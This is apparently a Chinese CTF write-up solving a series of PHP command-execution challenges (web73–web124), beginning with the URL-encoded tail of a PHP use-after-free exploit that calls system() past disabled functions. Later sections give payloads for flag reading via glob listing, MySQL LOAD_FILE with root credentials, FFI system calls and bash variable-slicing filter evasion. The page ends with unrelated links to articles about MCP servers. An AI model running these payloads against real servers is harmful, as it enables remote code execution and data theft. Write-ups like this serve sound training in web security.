++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d 
在这里插入图片描述

web73-74:glob协议+include读取

先用glob协议看一下flag位置,操作同上,查到flag文件存在

c=$a=newDirectoryIterator("glob:///*");foreach($aas$f){echo($f->__toString().' ');}exit(0);

按上题方法操作发现UAF又被禁用了,include又可以用了,同web71

c=include("/flagc.txt");die();//web73  c=include("/flagx.txt");die();//web74

web75-web76:数据库文件读取

先用glob协议看一下flag位置,操作同上,查到flag文件存在

c=$a=newDirectoryIterator("glob:///*");foreach($aas$f){echo($f->__toString().' ');}exit(0);

glob协议找到flag位置在flag36.php,但是include函数被禁了,UAF脚本的经典strlen函数也用不了,那么我们可不可以直接去从数据库读取文件呢?

LOAD_FILE() 是 MySQL 的一个内置函数,用于读取服务器上的文件内容,并以字符串形式返回。由于题目暗示中有提到ctftraing这个数据库,所以我们直接去读
web75:flag36.txt

c=try{$dbh=newPDO('mysql:host=localhost;dbname=information_schema','root','root');foreach($dbh->query('SELECT LOAD_FILE("/flag36.txt")')as$row){echo($row[0])."|";}$dbh=null;}catch(PDOException$e){echo$e->getMessage();die();};exit();

web76:flag36d.txt

c=try{$dbh=newPDO('mysql:host=localhost;dbname=information_schema','root','root');foreach($dbh->query('SELECT LOAD_FILE("/flag36d.txt")')as$row){echo($row[0])."|";}$dbh=null;}catch(PDOException$e){echo$e->getMessage();die();};exit();

关于以上代码的解释

c=try{// 创建PDO数据库连接,连接到本机MySQL的information_schema数据库,默认存在// 使用root账户,密码root,默认值$dbh=newPDO('mysql:host=localhost;dbname=information_schema','root','root');// 执行SQL查询:使用MySQL的LOAD_FILE函数读取/flag36.txt文件内容// 遍历查询结果集foreach($dbh->query('SELECT LOAD_FILE("/flag36.txt")')as$row){// 输出结果的第一列(即文件内容),并添加分隔符echo($row[0])."|";}// 关闭数据库连接$dbh=null;}catch(PDOException$e){// 如果发生数据库异常,输出错误信息并终止脚本echo$e->getMessage();die();};// 终止脚本执行exit();

web77

这道题题目提示了php7.4,而php7.4版本开始引入了FFI,FFI 是 Foreign Function Interface 的缩写,意为“外部函数接口”。它允许一种编程语言直接调用另一种编程语言编写的库(函数)和操作其数据类型。

在 PHP 的语境下,PHP FFI 使得我们能够在 PHP 脚本中直接调用 C 语言编写的函数和操作 C 语言的数据结构(如结构体、指针)。

用前面的glob协议读取根目录有 flag36x.txt 和 readflag 两个文件,直接读取 flag36x.txt 没有权限,readflag 是一个可以获取flag的程序
这道题的文件权限差异:

flag36x.txt: -r–r-----,只有root用户和root组可以读取,www-data用户无法直接读取
readflag:-r-sr-xr-x,设置了SUID权限(那个s),任何用户执行时都会以文件所有者(root)的权限运行

尝试将readflag程序读到的flag重定向到1.txt文件中读取:

c=$ffi=FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

由于我们php的操作权限被锁在了网站目录,所以这里直接网站弟子/1.txt访问1.txt即可

关于这道题的思路参考了文章,感兴趣的朋友们可以去原帖看看
https://blog.ZEEKLOG.net/Myon5/article/details/140099168#/

在这里插入图片描述

web118:环境变量字符拼接

web118

这一部分参考了文章,感兴趣的朋友们可以去看看:
https://blog.ZEEKLOG.net/qq_56815564/article/details/130279662?fromshare=blogdetail&sharetype=blogdetail&sharerId=130279662&sharerefer=PC&sharesource=2402_86944075&sharefrom=from_link#/

在这里插入图片描述


查看源代码看到了system($code);
但是无论我们输入什么命令都显示evil input,说明是被过滤了
通过一个爆破来列出可用字符的脚本:

在这里插入图片描述

核心思路:通过提取环境变量字符串的特定字符来拼接出想要的命令

${PWD}表示当前所在的目录,一般是/var/www/html
${PATH}表示文件位置相关的环境变量,一般指 /bin
~A代表是最后一位字符,那么
${PWD:~A}的结果就是字母 l,
${PATH:~A}的结果是字母 n
它们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php

payload:

${PATH:~A}${PWD:~A}${IFS}????.???

查看源代码即可

在这里插入图片描述

web119-web120

先爆破可用字符

在这里插入图片描述


和上题一样,但是上题payload跑不出结果了,应该是过滤了关键词
我们的目标是执行:

/bin/cat flag.php 
${#}:这个特殊变量代表传递给脚本或函数的参数个数。在没有参数的情况下,它的值为 0。
${##}:这是 $# 的长度。因为 $# 是0,一个字符,所以 ${##} 的值为 1。 ${#SHLVL}:SHLVL 是 shell 的嵌套层级,初始为1。数字 1的长度是1,所以值也是 1。
${SHLVL}:如果我们再打开一个子shell,这个值会变成 2。
${#IFS}:IFS (Internal Field Separator) 内部字段分隔符,在 Linux下默认是空格、制表符、换行符。这三个字符组成的字符串长度是 3。
~A:这是一个特殊的 Bash 语法,~A 被解释为 -1。
${PWD:~A} 等价于 ${PWD: -1:1},即取最后一个字符。
$IFS:本身用作命令参数间的空格。

关键字符的提取
已知 $PWD 为 /var/www/html。

在这里插入图片描述

命令组装
payload:/bin/cat flag.php

bin:???

即:

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???
在这里插入图片描述

web120-121

给了源码

<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/',$code)){if(strlen($code)>65){echo'<div>'.'you are so long , I dont like '.'</div>';}else{echo'<div>'.system($code).'</div>';}}else{echo'<div>evil input</div>';}}?>

上题payload不再有效,我们想要执行的命令:

/bin/rev flag.php 

构造方法和上一题是一样的,只多了一个r的构造

在这里插入图片描述


payload:

code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

恢复顺序即可得到flag

在这里插入图片描述


web121新增过滤了SHLVL,但是如果用这个方法就不影响了,120-121题payload是一样的

web122

这题开始PWD和#也被过滤了
核心思路:通过HOME获取“ / ”(/root),但是需要用到数字1,为了获取数字 1 这一关键参数,可以采用一种巧妙的错误触发方法:使用输入重定向符号 < 后跟一个不存在的文件名(例如 A)。由于系统中不存在文件 A,该命令会执行失败并返回错误代码 1,此时特殊变量 $? 会保存这一返回值。
需要执行的命令

/bin/base64 flag.txt 
在这里插入图片描述


payload组装:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? 
在这里插入图片描述


base64解码即可得到flag

web124:白名单函数利用

error_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){show_source(__FILE__);}else{//例子 c=20-1$content=$_GET['c'];if(strlen($content)>=80){die("太长了不会算");}$blacklist=[' ','\t','\r','\n','\'','"','`','\[','\]'];foreach($blacklistas$blackitem){if(preg_match('/'.$blackitem.'/m',$content)){die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','base_convert','bindec','ceil','cos','cosh','decbin','dechex','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/',$content,$used_funcs);foreach($used_funcs[0]as$func){if(!in_array($func,$whitelist)){die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');}

题目过滤逻辑:黑名单过滤特殊字符,白名单给定可用数学函数,字符串长度限制

不能直接写 system 等非数学函数→ 通过字符串构造 + 变量函数调用
不能写 $_GET[x]([、]、单引号被过滤)→ 用花括号 {} 代替 []→ 用进制转换构造 _GET 字符串
不能直接写字符串 "cat f*"→ 通过 GET 参数传递

我们先用前面给定的脚本跑一下可用字符:

在这里插入图片描述


可用函数分析

base_convert(int|string $num, int $frombase, int $tobase):可以在进制间转换数字/字符串,36 进制包含字母 a-z 和数字 0-9,因此可以构造出字母字符串
dechex(int $num):十进制 → 十六进制(字符串)
hexdec(string $hex_string):十六进制字符串 → 十进制数字
bin2hex(string $str) 和 hex2bin(string $hex) :不在白名单,但可以用 base_convert 构造 hex2bin

利用思路
第一步:构造 _GET 字符串

先算出 hex2bin 的 10 进制表示:

base_convert('hex2bin',36,10)# 得 37907361743

这样我们可以用 base_convert(37907361743,10,36) 得到 “hex2bin”。

再算出 _GET 的 16 进制形式 5f474554 的 10 进制:

hexdec('5f474554')# 得 1598506324

构造 _GET:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));// 分解:// base_convert(37907361743,10,36) → "hex2bin"// dechex(1598506324) → "5f474554"// hex2bin("5f474554") → "_GET"//现在 $pi 就是字符串 _GET。

第二步:构造动态函数调用
用 {} 代替 [] 访问数组:

$$pi{abs}($$pi{acos})//参数选用白名单里面给定的函数即可,这样不会被提示禁止奇奇怪怪函数// 即 $_GET{abs}($_GET{acos})// 即 $_GET['abs']($_GET['acos'])

第三步:传递真实参数
URL 参数:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f*

abs 参数值为 system,acos 参数值为 cat f*

最终执行 system(‘cat f*’)

Read more

【大模型系列篇】大模型基建工程:基于 FastAPI 自动构建 SSE MCP 服务器

【大模型系列篇】大模型基建工程:基于 FastAPI 自动构建 SSE MCP 服务器

今天我们将使用FastAPI来构建 MCP 服务器,Anthropic 推出的这个MCP 协议,目的是让 AI 代理和你的应用程序之间的对话变得更顺畅、更清晰。FastAPI 基于 Starlette 和 Uvicorn,采用异步编程模型,可轻松处理高并发请求,尤其适合 MCP 场景下大模型与外部系统的实时交互需求,其性能接近 Node.js 和 Go,在数据库查询、文件操作等 I/O 密集型任务中表现卓越。 开始今天的正题前,我们来回顾下相关的知识内容: 《高性能Python Web服务部署架构解析》、《使用Python开发MCP Server及Inspector工具调试》、《构建智能体MCP客户端:完成大模型与MCP服务端能力集成与最小闭环验证》   FastAPI基础知识 安装依赖 pip install uvicorn, fastapi FastAPI服务代码示例  from fastapi import FastAPI app

By Ne0inhk
【MCP】详细了解MCP协议:和function call的区别何在?如何使用MCP?

【MCP】详细了解MCP协议:和function call的区别何在?如何使用MCP?

本文介绍了MCP大模型上下文协议的的概念,并对比了MCP协议和function call的区别,同时用python sdk为例介绍了mcp的使用方式。 1. 什么是MCP? 官网:https://modelcontextprotocol.io/introduction 2025年,Anthropic提出了MCP协议。MCP全称为Model Context Protocol,翻译过来是大模型上下文协议。这个协议的主要为AI大模型和外部工具(比如让AI去查询信息,或者让AI操作本地文件)之间的交互提供了一个统一的处理协议。我们常用的USB TypeC接口(USB-C)统一了USB接口的样式,MCP协议就好比AI大模型中的USB-C,统一了大模型与工具的对接方式。 MCP协议采用了C/S架构,也就是服务端、客户端架构,能支持在客户端设备上调用远程Server提供的服务,同时也支持stdio流式传输模式,也就是在客户端本地启动mcp服务端。只需要在配置文件中新增MCP服务端,就能用上这个MCP服务器提供的各种工具,大大提高了大模型使用外部工具的便捷性。 MCP是开源协议,能让所有A

By Ne0inhk
超详细图文教程:用vscode+copilot(代理模式)便捷使用mcp+一个范例:用自然语言进行3d建模

超详细图文教程:用vscode+copilot(代理模式)便捷使用mcp+一个范例:用自然语言进行3d建模

在vscode使用claude mcp吧! 在vscode更新到最新版本(注意,这是前提)后,内置的copilot可以使用mcp了!!! 关于mcp(Model Context Protocol 模型上下文协议),可以参考我的上一篇文章: MCP个人理解+示例+集成管理+在python中调用示例,给AI大模型装上双手-ZEEKLOG博客 以下是使用教程: 1.点击左下角的齿轮状设置按钮,点击设置 2.在输入面板输入chat.agent.enabled,勾上勾选框 3.点击Ctrl+shift+P,输入reload,点击重新加载窗口,刷新窗口 4.打开copilot后,在右下角将模式改为代理即可。 5.点击工具按钮,开始安装mcp 先去github找到自己想要添加的mcp服务,以blender MCP为例,打开https://github.com/ahujasid/blender-mcp,可以在readme文档里看到详细的安装过程。可以看到,

By Ne0inhk
02-mcp-server案例分享-Excel 表格秒变可视化图表 HTML 报告,就这么简单

02-mcp-server案例分享-Excel 表格秒变可视化图表 HTML 报告,就这么简单

1.前言 MCP Server(模型上下文协议服务器)是一种基于模型上下文协议(Model Context Protocol,简称MCP)构建的轻量级服务程序,旨在实现大型语言模型(LLM)与外部资源之间的高效、安全连接。MCP协议由Anthropic公司于2024年11月开源,其核心目标是解决AI应用中数据分散、接口不统一等问题,为开发者提供标准化的接口,使AI模型能够灵活访问本地资源和远程服务,从而提升AI助手的响应质量和工作效率。 MCP Server 的架构与工作原理 MCP Server 采用客户端-服务器(Client-Server)架构,其中客户端(MCP Client)负责与服务器建立连接,发起请求,而服务器端则处理请求并返回响应。这种架构确保了数据交互的高效性与安全性。例如,客户端可以向服务器发送请求,如“查询数据库中的某个记录”或“调用某个API”,而服务器则根据请求类型,调用相应的资源或工具,完成任务并返回结果。 MCP Server 支持动态发现和实时更新机制。例如,当新的资源或工具被添加到服务器时,

By Ne0inhk